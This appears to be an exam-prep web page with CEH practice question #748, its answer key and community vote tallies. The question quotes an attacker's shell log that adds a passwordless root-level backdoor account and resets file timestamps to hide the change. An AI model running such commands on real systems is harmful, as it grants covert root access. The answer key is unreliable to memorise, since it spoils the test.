nerdexam
EC-Council

EC0-350 · Question #748

After studying the following log entries, what is the attacker ultimately trying to achieve as inferred from the log sequence? 1. mkdir -p /etc/X11/applnk/Internet/.etc 2. mkdir -p…

The correct answer is C. Change the files Modification Access Creation times. See the full explanation below for the reasoning.

Question

After studying the following log entries, what is the attacker ultimately trying to achieve as inferred from the log sequence? 1. mkdir -p /etc/X11/applnk/Internet/.etc 2. mkdir -p /etc/X11/applnk/Internet/.etcpasswd 3. touch -acmr /etc/passwd /etc/X11/applnk/Internet/.etcpasswd 4. touch -acmr /etc /etc/X11/applnk/Internet/.etc 5. passwd nobody -d 6. /usr/sbin/adduser dns -d/bin -u 0 -g 0 -s/bin/bash 7. passwd dns -d 8. touch -acmr /etc/X11/applnk/Internet/.etcpasswd /etc/passwd 9. touch -acmr /etc/X11/applnk/Internet/.etc /etc

Options

  • AChange password of user nobody
  • BExtract information from a local directory
  • CChange the files Modification Access Creation times
  • DDownload rootkits and passwords into a new directory

How the community answered

(52 responses)
  • A
    13% (7)
  • B
    2% (1)
  • C
    79% (41)
  • D
    6% (3)

Community Discussion

No community discussion yet for this question.

Full EC0-350 Practice